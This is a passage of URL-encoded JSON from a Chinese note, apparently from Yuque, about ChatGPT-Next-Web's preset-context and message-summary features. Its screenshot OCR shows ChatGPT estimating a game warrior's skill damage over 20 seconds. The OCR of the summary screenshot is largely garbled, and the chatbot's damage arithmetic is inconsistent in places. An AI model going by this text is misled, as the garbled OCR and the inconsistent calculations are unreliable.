7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud29ecbb2%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E9%80%9A%E8%BF%87%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf56ac8ae%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E8%AE%BE%E7%BD%AE%E5%89%8D%E7%BD%AE%E4%B8%8A%E4%B8%8B%E6%96%87%EF%BC%8C%E5%8F%AF%E4%BB%A5%E5%9C%A8%E4%B8%80%E5%AE%9A%E7%A8%8B%E5%BA%A6%E4%B8%8A%E5%BD%B1%E5%93%8DChatGPT%E7%9A%84%E5%8A%9F%E8%83%BD%E4%BB%A5%E5%8F%8A%E8%A1%A8%E7%8E%B0%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u97798c5c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E6%9D%A5%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89ChatGPT%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ue1b8b6a0%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22ub2b0c9fb%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1684406900288-c811fc61-fe3d-497c-bcbe-8af27a53edeb.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A887%2C%22height%22%3A859%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A183878%2C%22width%22%3A551.178955078125%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u28524e38-b81d-4679-bd9f-affbccb52bd%22%2C%22clientId%22%3A%22uf7a08c3e-090f-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A399%2C%22y%22%3A20%2C%22width%22%3A122%2C%22height%22%3A13%2C%22text%22%3A%22%E5%B7%B2%E8%AE%BE%E7%BD%AE4%E6%9D%A1%E5%89%8D%E7%BD%AE%E4%B8%8A%E4%B8%8B%E6%96%87%22%7D%2C%7B%22x%22%3A593%2C%22y%22%3A30%2C%22width%22%3A108%2C%22height%22%3A13%2C%22text%22%3A%222023%2F5%2F18%2018%3A35%3A54%22%7D%2C%7B%22x%22%3A340%2C%22y%22%3A119%2C%22width%22%3A521%2C%22height%22%3A17%2C%22text%22%3A%22%E4%BD%A0%E5%8F%AF%E4%BB%A5%E6%A0%B9%E6%8D%AE%E6%88%91%E7%BB%99%E5%87%BA%E7%9A%84%E6%8A%80%E8%83%BD%E4%BC%A4%E5%AE%B3%2C%E6%9D%A5%E6%A8%A1%E6%8B%9F%E8%AE%A1%E7%AE%9720%E7%A7%92%E5%86%85%E4%BC%A4%E5%AE%B3%E7%9A%84%E6%80%BB%E5%92%8C%2C%E4%BB%A5%E6%AD%A4%E8%AE%A1%E7%AE%97%E7%9B%B8%E5%BA%94%E7%9A%84%E6%94%B6%E7%9B%8A%22%7D%2C%7B%22x%22%3A596%2C%22y%22%3A189%2C%22width%22%3A93%2C%22height%22%3A12%2C%22text%22%3A%22%E5%A4%8D%E5%88%B6%E9%87%8D%E8%AF%95%E5%88%A0%E9%99%A4%22%7D%2C%7B%22x%22%3A26%2C%22y%22%3A224%2C%22width%22%3A374%2C%22height%22%3A17%2C%22text%22%3A%22%E5%A5%BD%E7%9A%84%2C%E6%A0%B9%E6%8D%AE%E6%8A%80%E8%83%BD%E4%BC%A4%E5%AE%B3%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E5%A4%A7%E6%A6%82%E4%BC%B0%E7%AE%97%E5%87%BA%E5%9C%A820%E7%A7%92%E5%86%85%E7%9A%84%E6%80%BB%E4%BC%A4%E5%AE%B3.%22%7D%2C%7B%22x%22%3A27%2C%22y%22%3A262%2C%22width%22%3A372%2C%22height%22%3A15%2C%22text%22%3A%22%E4%BE%8B%E5%A6%82%2C%E5%81%87%E8%AE%BE%E6%82%A8%E6%98%AF%E4%B8%80%E4%BD%8D%E6%88%98%E5%A3%AB%2C%E5%B9%B6%E4%B8%94%E6%82%A8%E4%BD%BF%E7%94%A8%E7%9A%84%E6%8A%80%E8%83%BD%E5%8F%8A%E5%85%B6%E4%BC%A4%E5%AE%B3%E5%A6%82%E4%B8%8B%3A%22%7D%2C%7B%22x%22%3A56%2C%22y%22%3A299%2C%22width%22%3A427%2C%22height%22%3A15%2C%22text%22%3A%22%E5%97%9C%E8%A1%80%3A%E9%80%A0%E6%88%9065%25%E6%94%BB%E5%BC%BA%E7%9A%84%E7%89%A9%E7%90%86%E4%BC%A4%E5%AE%B3%2C%E5%B9%B6%E5%9B%9E%E5%A4%8D3%25%E7%94%9F%E5%91%BD%E5%80%BC%2C%E4%BA%A7%E7%94%9F8%E7%82%B9%E6%80%92%E6%B0%94%E5%80%BC.%22%7D%2C%7B%22x%22%3A55%2C%22y%22%3A324%2C%22width%22%3A487%2C%22height%22%3A14%2C%22text%22%3A%22%E6%80%92%E5%87%BB%3A%E4%B8%A4%E6%8A%8A%E6%AD%A6%E5%99%A8%E7%9A%84%E5%BC%BA%E5%8A%9B%E4%B8%80%E5%87%BB%E9%80%A0%E6%88%90%E6%80%BB%E8%AE%A158%25%E6%94%BB%E5%BC%BAX2%E7%9A%84%E7%89%A9%E7%90%86%E4%BC%A4%E5%AE%B3.%E4%BA%A7%E7%94%9F12%E7%82%B9%E6%80%92%E6%B0%94%E5%80%BC.%22%7D%2C%7B%22x%22%3A56%2C%22y%22%3A348%2C%22width%22%3A472%2C%22height%22%3A16%2C%22text%22%3A%22%E6%9A%B4%E6%80%92%3A%E8%BF%9E%E7%BB%AD%E9%87%8A%E6%94%BE4%E6%AC%A1%E6%AE%8B%E5%BF%8D%E7%9A%84%E6%94%BB%E5%87%BB%2C%E6%80%BB%E8%AE%A1%E9%80%A0%E6%88%9062%25%2B36%25%2B82%25%2B46%25%E6%94%BB%E5%BC%BA%E7%9A%84%E4%BC%A4%E5%AE%B3.%22%7D%2C%7B%22x%22%3A56%2C%22y%22%3A374%2C%22width%22%3A578%2C%22height%22%3A15%2C%22text%22%3A%22%E9%B2%81%E8%91%AC%3A%E6%BF%80%E6%80%92%E8%87%AA%E5%B7%B1%2C%E6%89%80%E6%9C%89%E4%BA%A7%E7%94%9F%E7%9A%84%E6%80%92%E6%B0%94%E6%8F%90%E9%AB%98100%25%2C%E5%B9%B6%E4%BD%BF%E4%BD%A0%E7%9A%84%E6%8A%80%E8%83%BD%E7%9A%84%E7%88%86%E5%87%BB%E5%87%A0%E7%8E%87%E6%8F%90%E9%AB%9820%25%2C%E6%8C%81%E7%BB%AD12%E7%A7%92.%22%7D%2C%7B%22x%22%3A56%2C%22y%22%3A396%2C%22width%22%3A472%2C%22height%22%3A15%2C%22text%22%3A%22%E5%BC%BA%E6%94%BB%3A%E9%87%8E%E8%9B%AE%E7%9A%84%E6%94%BB%E5%87%BB%E4%B8%80%E4%B8%AA%E6%95%8C%E4%BA%BA%2C%E9%80%A0%E6%88%90151%25%E6%94%BB%E5%BC%BA%E7%89%A9%E7%90%86%E4%BC%A4%E5%AE%B3.%E5%8F%98%E6%88%90%E6%9A%B4%E6%80%92%2C%E6%8C%81%E7%BB%AD5%E7%A7%92.%22%7D%2C%7B%22x%22%3A55%2C%22y%22%3A422%2C%22width%22%3A624%2C%22height%22%3A16%2C%22text%22%3A%22%E5%A5%A5%E4%B8%81%E4%B9%8B%E6%80%92%3A%E5%AF%B912%E7%A0%81%E5%86%85%E7%9A%84%E6%89%80%E6%9C%89%E6%95%8C%E4%BA%BA%E9%80%A0%E6%88%90(72%25AP%2B72%25AP%2B62%25AP%2B62%25AP)%E7%82%B9%E7%89%A9%E7%90%86%E4%BC%A4%E5%AE%B3%2C%E5%B9%B6%E5%9C%A84%E7%A7%92%E5%86%85%E5%AF%B9%22%7D%2C%7B%22x%22%3A56%2C%22y%22%3A443%2C%22width%22%3A315%2C%22height%22%3A15%2C%22text%22%3A%22%E5%85%B6%E9%80%A0%E6%88%90%E9%A2%9D%E5%A4%96%E7%9A%84(84%25AP)%E7%82%B9%E7%89%A9%E7%90%86%E4%BC%A4%E5%AE%B3.%E4%BA%A7%E7%94%9F15%E7%82%B9%E6%80%92%E6%B0%94.%22%7D%2C%7B%22x%22%3A54%2C%22y%22%3A466%2C%22width%22%3A44%2C%22height%22%3A15%2C%22text%22%3A%22%E7%A0%B4%E5%9D%8F%E8%80%85%22%7D%2C%7B%22x%22%3A593%2C%22y%22%3A504%2C%22width%22%3A108%2C%22height%22%3A12%2C%22text%22%3A%222023%2F5%2F1818%3A43%3A36%22%7D%2C%7B%22x%22%3A830%2C%22y%22%3A594%2C%22width%22%3A30%2C%22height%22%3A14%2C%22text%22%3A%22%E7%BB%A7%E7%BB%AD%22%7D%2C%7B%22x%22%3A26%2C%22y%22%3A699%2C%22width%22%3A645%2C%22height%22%3A15%2C%22text%22%3A%22%E5%A5%BD%E7%9A%84%2C%E6%A0%B9%E6%8D%AE%E4%BD%A0%E6%8F%90%E4%BE%9B%E7%9A%84%E6%8A%80%E8%83%BD%E5%88%97%E8%A1%A8%2C%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E8%AE%A1%E7%AE%97%E5%87%BA%E6%AF%8F%E4%B8%AA%E6%8A%80%E8%83%BD%E7%9A%84%E5%B9%B3%E5%9D%87%E4%BC%A4%E5%AE%B3%2C%E5%B9%B6%E4%B8%94%E7%BB%93%E5%90%88%E4%BD%A0%E7%9A%84%E5%B1%9E%E6%80%A7%E4%BF%A1%E6%81%AF%E8%BF%9B%E8%A1%8C%E7%BB%9F%E8%AE%A1%E5%88%86%22%7D%2C%7B%22x%22%3A26%2C%22y%22%3A721%2C%22width%22%3A21%2C%22height%22%3A14%2C%22text%22%3A%22%E6%9E%90.%22%7D%2C%7B%22x%22%3A27%2C%22y%22%3A756%2C%22width%22%3A658%2C%22height%22%3A17%2C%22text%22%3A%22%E5%AF%B9%E4%BA%8E%E5%97%9C%E8%A1%80%2C%E5%AE%83%E7%9A%84CD%E4%B8%BA4.5%E7%A7%92%2C%E5%B9%B3%E5%9D%87%E4%BC%A4%E5%AE%B3%E4%B8%BA65%25%E6%94%BB%E5%BC%BA%2C%E5%9B%9E%E5%A4%8D396%E7%94%9F%E5%91%BD%E5%80%BC%2C%E4%BA%A7%E7%94%9F8%E7%82%B9%E6%80%92%E6%B0%94%E5%80%BC.%E6%88%91%E4%BB%AC%E5%81%87%E8%AE%BE%E5%9C%A820%E7%A7%92%E5%86%85%E5%8F%AF%22%7D%2C%7B%22x%22%3A28%2C%22y%22%3A778%2C%22width%22%3A651%2C%22height%22%3A16%2C%22text%22%3A%22%E4%BB%A5%E4%BD%BF%E7%94%A84%E6%AC%A1%E6%9A%97%E8%A1%80%2C%E6%80%BB%E8%AE%A1%E8%A7%A6%E5%8F%9116%E6%AC%A1.%E5%9B%A0%E6%AD%A4%2C%E6%80%BB%E4%BC%A4%E5%AE%B3%E4%B8%BA65%25X16%E4%B8%891040%25%E6%94%BB%E5%BC%BA%E9%98%B2%E5%BE%A1%2C%E5%9B%9E%E5%A4%8D%E7%9A%84%E7%94%9F%E5%91%BD%E5%80%BC%E4%B8%BA3%25X16%22%7D%2C%7B%22x%22%3A30%2C%22y%22%3A800%2C%22width%22%3A650%2C%22height%22%3A14%2C%22text%22%3A%22%E4%B8%8948%25%2C%E4%BA%A7%E7%94%9F%E7%9A%84%E6%80%92%E6%B0%94%E5%80%BC%E4%B8%BA8X16-128.%E5%A6%82%E6%9E%9C%E6%88%91%E4%BB%AC%E5%81%87%E8%AE%BE%E4%BD%A0%E7%9A%84%E6%94%BB%E5%87%BB%E5%8A%9B%E4%B8%BA1000%2C%E9%82%A3%E4%B9%88%E4%BD%A0%E7%9A%84%E6%80%BB%E4%BC%A4%E5%AE%B3%E5%B0%B1%E6%98%AF104000%E7%82%B9.%22%7D%2C%7B%22x%22%3A26%2C%22y%22%3A836%2C%22width%22%3A652%2C%22height%22%3A16%2C%22text%22%3A%22%E5%AF%B9%E4%BA%8E%E6%80%92%E5%87%BB%2C%E5%AE%83%E7%9A%84%E5%85%85%E8%83%BD%E6%97%B6%E9%97%B4%E4%B8%BA8%E7%A7%92%2C%E4%B8%8A%E9%99%90%E4%B8%BA2%E5%B1%82%2C%E5%B9%B3%E5%9D%87%E4%BC%A4%E5%AE%B3%E4%B8%BA116%25%E6%94%BF%E5%BC%BA.%E6%88%91%E4%BB%AC%E5%81%87%E8%AE%BE%E5%9C%A820%E7%A7%92%E5%86%85%2C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E4%BD%BF%E7%94%A84%E6%AC%A1%22%7D%5D%2C%22search%22%3A%22%E5%B7%B2%E8%AE%BE%E7%BD%AE4%E6%9D%A1%E5%89%8D%E7%BD%AE%E4%B8%8A%E4%B8%8B%E6%96%87%202023%2F5%2F18%2018%3A35%3A54%20%E4%BD%A0%E5%8F%AF%E4%BB%A5%E6%A0%B9%E6%8D%AE%E6%88%91%E7%BB%99%E5%87%BA%E7%9A%84%E6%8A%80%E8%83%BD%E4%BC%A4%E5%AE%B3%2C%E6%9D%A5%E6%A8%A1%E6%8B%9F%E8%AE%A1%E7%AE%9720%E7%A7%92%E5%86%85%E4%BC%A4%E5%AE%B3%E7%9A%84%E6%80%BB%E5%92%8C%2C%E4%BB%A5%E6%AD%A4%E8%AE%A1%E7%AE%97%E7%9B%B8%E5%BA%94%E7%9A%84%E6%94%B6%E7%9B%8A%20%E5%A4%8D%E5%88%B6%E9%87%8D%E8%AF%95%E5%88%A0%E9%99%A4%20%E5%A5%BD%E7%9A%84%2C%E6%A0%B9%E6%8D%AE%E6%8A%80%E8%83%BD%E4%BC%A4%E5%AE%B3%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E5%A4%A7%E6%A6%82%E4%BC%B0%E7%AE%97%E5%87%BA%E5%9C%A820%E7%A7%92%E5%86%85%E7%9A%84%E6%80%BB%E4%BC%A4%E5%AE%B3.%20%E4%BE%8B%E5%A6%82%2C%E5%81%87%E8%AE%BE%E6%82%A8%E6%98%AF%E4%B8%80%E4%BD%8D%E6%88%98%E5%A3%AB%2C%E5%B9%B6%E4%B8%94%E6%82%A8%E4%BD%BF%E7%94%A8%E7%9A%84%E6%8A%80%E8%83%BD%E5%8F%8A%E5%85%B6%E4%BC%A4%E5%AE%B3%E5%A6%82%E4%B8%8B%3A%20%E5%97%9C%E8%A1%80%3A%E9%80%A0%E6%88%9065%25%E6%94%BB%E5%BC%BA%E7%9A%84%E7%89%A9%E7%90%86%E4%BC%A4%E5%AE%B3%2C%E5%B9%B6%E5%9B%9E%E5%A4%8D3%25%E7%94%9F%E5%91%BD%E5%80%BC%2C%E4%BA%A7%E7%94%9F8%E7%82%B9%E6%80%92%E6%B0%94%E5%80%BC.%20%E6%80%92%E5%87%BB%3A%E4%B8%A4%E6%8A%8A%E6%AD%A6%E5%99%A8%E7%9A%84%E5%BC%BA%E5%8A%9B%E4%B8%80%E5%87%BB%E9%80%A0%E6%88%90%E6%80%BB%E8%AE%A158%25%E6%94%BB%E5%BC%BAX2%E7%9A%84%E7%89%A9%E7%90%86%E4%BC%A4%E5%AE%B3.%E4%BA%A7%E7%94%9F12%E7%82%B9%E6%80%92%E6%B0%94%E5%80%BC.%20%E6%9A%B4%E6%80%92%3A%E8%BF%9E%E7%BB%AD%E9%87%8A%E6%94%BE4%E6%AC%A1%E6%AE%8B%E5%BF%8D%E7%9A%84%E6%94%BB%E5%87%BB%2C%E6%80%BB%E8%AE%A1%E9%80%A0%E6%88%9062%25%2B36%25%2B82%25%2B46%25%E6%94%BB%E5%BC%BA%E7%9A%84%E4%BC%A4%E5%AE%B3.%20%E9%B2%81%E8%91%AC%3A%E6%BF%80%E6%80%92%E8%87%AA%E5%B7%B1%2C%E6%89%80%E6%9C%89%E4%BA%A7%E7%94%9F%E7%9A%84%E6%80%92%E6%B0%94%E6%8F%90%E9%AB%98100%25%2C%E5%B9%B6%E4%BD%BF%E4%BD%A0%E7%9A%84%E6%8A%80%E8%83%BD%E7%9A%84%E7%88%86%E5%87%BB%E5%87%A0%E7%8E%87%E6%8F%90%E9%AB%9820%25%2C%E6%8C%81%E7%BB%AD12%E7%A7%92.%20%E5%BC%BA%E6%94%BB%3A%E9%87%8E%E8%9B%AE%E7%9A%84%E6%94%BB%E5%87%BB%E4%B8%80%E4%B8%AA%E6%95%8C%E4%BA%BA%2C%E9%80%A0%E6%88%90151%25%E6%94%BB%E5%BC%BA%E7%89%A9%E7%90%86%E4%BC%A4%E5%AE%B3.%E5%8F%98%E6%88%90%E6%9A%B4%E6%80%92%2C%E6%8C%81%E7%BB%AD5%E7%A7%92.%20%E5%A5%A5%E4%B8%81%E4%B9%8B%E6%80%92%3A%E5%AF%B912%E7%A0%81%E5%86%85%E7%9A%84%E6%89%80%E6%9C%89%E6%95%8C%E4%BA%BA%E9%80%A0%E6%88%90(72%25AP%2B72%25AP%2B62%25AP%2B62%25AP)%E7%82%B9%E7%89%A9%E7%90%86%E4%BC%A4%E5%AE%B3%2C%E5%B9%B6%E5%9C%A84%E7%A7%92%E5%86%85%E5%AF%B9%20%E5%85%B6%E9%80%A0%E6%88%90%E9%A2%9D%E5%A4%96%E7%9A%84(84%25AP)%E7%82%B9%E7%89%A9%E7%90%86%E4%BC%A4%E5%AE%B3.%E4%BA%A7%E7%94%9F15%E7%82%B9%E6%80%92%E6%B0%94.%20%E7%A0%B4%E5%9D%8F%E8%80%85%202023%2F5%2F1818%3A43%3A36%20%E7%BB%A7%E7%BB%AD%20%E5%A5%BD%E7%9A%84%2C%E6%A0%B9%E6%8D%AE%E4%BD%A0%E6%8F%90%E4%BE%9B%E7%9A%84%E6%8A%80%E8%83%BD%E5%88%97%E8%A1%A8%2C%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E8%AE%A1%E7%AE%97%E5%87%BA%E6%AF%8F%E4%B8%AA%E6%8A%80%E8%83%BD%E7%9A%84%E5%B9%B3%E5%9D%87%E4%BC%A4%E5%AE%B3%2C%E5%B9%B6%E4%B8%94%E7%BB%93%E5%90%88%E4%BD%A0%E7%9A%84%E5%B1%9E%E6%80%A7%E4%BF%A1%E6%81%AF%E8%BF%9B%E8%A1%8C%E7%BB%9F%E8%AE%A1%E5%88%86%20%E6%9E%90.%20%E5%AF%B9%E4%BA%8E%E5%97%9C%E8%A1%80%2C%E5%AE%83%E7%9A%84CD%E4%B8%BA4.5%E7%A7%92%2C%E5%B9%B3%E5%9D%87%E4%BC%A4%E5%AE%B3%E4%B8%BA65%25%E6%94%BB%E5%BC%BA%2C%E5%9B%9E%E5%A4%8D396%E7%94%9F%E5%91%BD%E5%80%BC%2C%E4%BA%A7%E7%94%9F8%E7%82%B9%E6%80%92%E6%B0%94%E5%80%BC.%E6%88%91%E4%BB%AC%E5%81%87%E8%AE%BE%E5%9C%A820%E7%A7%92%E5%86%85%E5%8F%AF%20%E4%BB%A5%E4%BD%BF%E7%94%A84%E6%AC%A1%E6%9A%97%E8%A1%80%2C%E6%80%BB%E8%AE%A1%E8%A7%A6%E5%8F%9116%E6%AC%A1.%E5%9B%A0%E6%AD%A4%2C%E6%80%BB%E4%BC%A4%E5%AE%B3%E4%B8%BA65%25X16%E4%B8%891040%25%E6%94%BB%E5%BC%BA%E9%98%B2%E5%BE%A1%2C%E5%9B%9E%E5%A4%8D%E7%9A%84%E7%94%9F%E5%91%BD%E5%80%BC%E4%B8%BA3%25X16%20%E4%B8%8948%25%2C%E4%BA%A7%E7%94%9F%E7%9A%84%E6%80%92%E6%B0%94%E5%80%BC%E4%B8%BA8X16-128.%E5%A6%82%E6%9E%9C%E6%88%91%E4%BB%AC%E5%81%87%E8%AE%BE%E4%BD%A0%E7%9A%84%E6%94%BB%E5%87%BB%E5%8A%9B%E4%B8%BA1000%2C%E9%82%A3%E4%B9%88%E4%BD%A0%E7%9A%84%E6%80%BB%E4%BC%A4%E5%AE%B3%E5%B0%B1%E6%98%AF104000%E7%82%B9.%20%E5%AF%B9%E4%BA%8E%E6%80%92%E5%87%BB%2C%E5%AE%83%E7%9A%84%E5%85%85%E8%83%BD%E6%97%B6%E9%97%B4%E4%B8%BA8%E7%A7%92%2C%E4%B8%8A%E9%99%90%E4%B8%BA2%E5%B1%82%2C%E5%B9%B3%E5%9D%87%E4%BC%A4%E5%AE%B3%E4%B8%BA116%25%E6%94%BF%E5%BC%BA.%E6%88%91%E4%BB%AC%E5%81%87%E8%AE%BE%E5%9C%A820%E7%A7%92%E5%86%85%2C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E4%BD%BF%E7%94%A84%E6%AC%A1%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23f8f7f5%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uafae274f%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue21e4d8f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E9%99%A4%E6%AD%A4%E4%B9%8B%E5%A4%96%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u44709541%22%2C%22name%22%3A%22link%22%2C%22attrs%22%3A%7B%22src%22%3A%22https%3A%2F%2Fgithub.com%2FYidadaa%2FChatGPT-Next-Web%22%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u04bcfaf5%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22ChatGPT-Next-Web%22%7D%5D%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4b735daf%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E6%9C%AC%E8%BA%AB%E4%B9%9F%E6%9C%89%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ufd73d7df%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E6%B6%88%E6%81%AF%E6%91%98%E8%A6%81%E5%8A%9F%E8%83%BD%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u2d891ffe%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E4%BC%9A%E6%80%BB%E7%BB%93%E5%89%8D%E5%87%A0%E6%9D%A1%E5%8F%91%E9%80%81%E7%9A%84%E5%86%85%E5%AE%B9%E6%91%98%E8%A6%81%E3%80%82%E9%99%84%E5%8A%A0%E5%88%B0%E8%AF%B7%E6%B1%82%E4%B8%AD%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u241a8fd4%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u74815dac%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1684480622808-09545720-2bf1-4ff9-b8f3-9076b0bf0cb8.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A973%2C%22height%22%3A86%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A34461%2C%22width%22%3A884.5454353734485%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u87648ef4-3ca0-4e2e-8b84-238f324c3f3%22%2C%22clientId%22%3A%22uf7a08c3e-090f-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A21%2C%22y%22%3A20%2C%22width%22%3A125%2C%22height%22%3A16%2C%22text%22%3A%22%E5%8E%86%E5%8F%B2%E6%91%98%E8%A6%81(18%20OF%2018)%22%7D%2C%7B%22x%22%3A21%2C%22y%22%3A41%2C%22width%22%3A939%2C%22height%22%3A14%2C%22text%22%3A%22%E4%B8%A4%E4%B8%AA%E9%83%A8%E9%97%A8%E8%BD%A6%E7%BB%8F%E5%B7%A5%E8%B4%A7%E7%94%A8%E6%B2%B3%E8%BE%B9%E7%9A%84%E6%B2%B3%E8%BE%B9%E8%B7%AF%E4%B8%8A%E8%B7%AF%E9%83%A8%E9%97%A8%2C%E4%B8%A4%E9%A1%B9%E7%94%A8%E8%B5%84%E6%BA%90%E4%BA%8E%E4%BA%8E%E9%83%A8%E5%88%86%E7%B1%BB%E7%8E%B0%E5%9C%A8%E8%A6%81%E4%B8%AA%E5%91%A8%E6%B4%81%E6%9D%A5%E4%B8%A5%E7%A6%81%E4%B8%8B%E6%9D%A5%E6%B1%BD%E8%BD%A6%2C%E6%88%91%E9%97%A8%E4%BA%8E%E5%88%B0%E4%BA%86%E9%83%A8%E9%83%A8%E7%9A%84%E5%B9%B3%E5%9D%87%E5%88%86%E8%90%BD%2C%E5%BC%80%E5%A7%8B%E6%96%B9%E5%90%91%E4%B8%80%E9%83%A8%E7%9A%84%E7%9A%84%E8%B4%A7%E8%A1%8C%E4%BA%86%E9%A2%84%E8%AE%A1%E4%BA%8E%E9%83%A8%E6%96%B9%E4%BA%86%E8%A7%A3%E4%B8%8B%E6%9D%A5%E6%B2%B3%22%7D%2C%7B%22x%22%3A22%2C%22y%22%3A57%2C%22width%22%3A654%2C%22height%22%3A14%2C%22text%22%3A%22%E6%88%B7%E6%8F%90%E4%BE%9B%E4%BA%86%E6%88%98%E5%A3%AB%E4%BD%BF%E7%94%A8%E7%9A%84%E6%8C%89%E8%83%BD%E5%88%97%E8%A1%A8%E5%8F%8A%E5%85%B6%E5%AF%B9%E5%BA%94%E7%9A%84%E4%BC%A4%E5%AE%B3%2C%E5%B9%B6%E5%B8%8C%E6%9C%9B%E9%80%9A%E8%BF%87%E6%A0%B9%E6%8B%9F%E8%AE%A1%E7%AE%97%E6%9D%A5%E7%A1%AE%E5%AE%9A20%E7%A7%BB%E5%86%85%E6%80%BB%E4%BC%A4%E8%A8%80%2C%E4%BB%A5%E5%8F%8A%E5%93%AA%E7%A7%8D%E5%B1%9E%E6%80%A7%E8%83%BD%E5%B8%A6%E6%9D%A5%E6%9B%B4%E9%AB%98%E7%9A%84%E6%94%B6%E7%9B%8A.%22%7D%5D%2C%22search%22%3A%22%E5%8E%86%E5%8F%B2%E6%91%98%E8%A6%81(18%20OF%2018)%20%E4%B8%A4%E4%B8%AA%E9%83%A8%E9%97%A8%E8%BD%A6%E7%BB%8F%E5%B7%A5%E8%B4%A7%E7%94%A8%E6%B2%B3%E8%BE%B9%E7%9A%84%E6%B2%B3%E8%BE%B9%E8%B7%AF%E4%B8%8A%E8%B7%AF%E9%83%A8%E9%97%A8%2C%E4%B8%A4%E9%A1%B9%E7%94%A8%E8%B5%84%E6%BA%90%E4%BA%8E%E4%BA%8E%E9%83%A8%E5%88%86%E7%B1%BB%E7%8E%B0%E5%9C%A8%E8%A6%81%E4%B8%AA%E5%91%A8%E6%B4%81%E6%9D%A5%E4%B8%A5%E7%A6%81%E4%B8%8B%E6%9D%A5%E6%B1%BD%E8%BD%A6%2C%E6%88%91%E9%97%A8%E4%BA%8E%E5%88%B0%E4%BA%86%E9%83%A8%E9%83%A8%E7%9A%84%E5%B9%B3%E5%9D%87%E5%88%86%E8%90%BD%2C%E5%BC%80%E5%A7%8B%E6%96%B9%E5%90%91%E4%B8%80%E9%83%A8%E7%9A%84%E7%9A%84%E8%B4%A7%E8%A1%8C%E4%BA%86%E9%A2%84%E8%AE%A1%E4%BA%8E%E9%83%A8%E6%96%B9%E4%BA%86%E8%A7%A3%E4%B8%8B%E6%9D%A5%E6%B2%B3%20%E6%88%B7%E6%8F%90%E4%BE%9B%E4%BA%86%E6%88%98%E5%A3%AB%E4%BD%BF%E7%94%A8%E7%9A%84%E6%8C%89%E8%83%BD%E5%88%97%E8%A1%A8%E5%8F%8A%E5%85%B6%E5%AF%B9%E5%BA%94%E7%9A%84%E4%BC%A4%E5%AE%B3%2C%E5%B9%B6%E5%B8%8C%E6%9C%9B%E9%80%9A%E8%BF%87%E6%A0%B9%E6%8B%9F%E8%AE%A1%E7%AE%97%E6%9D%A5%E7%A1%AE%E5%AE%9A20%E7%A7%BB%E5%86%85%E6%80%BB%E4%BC%A4%E8%A8%80%2C%E4%BB%A5%E5%8F%8A%E5%93%AA%E7%A7%8D%E5%B1%9E%E6%80%A7%E8%83%BD%E5%B8%A6%E6%9D%A5%E6%9B%B4%E9%AB%98%E7%9A%84%E6%94%B6%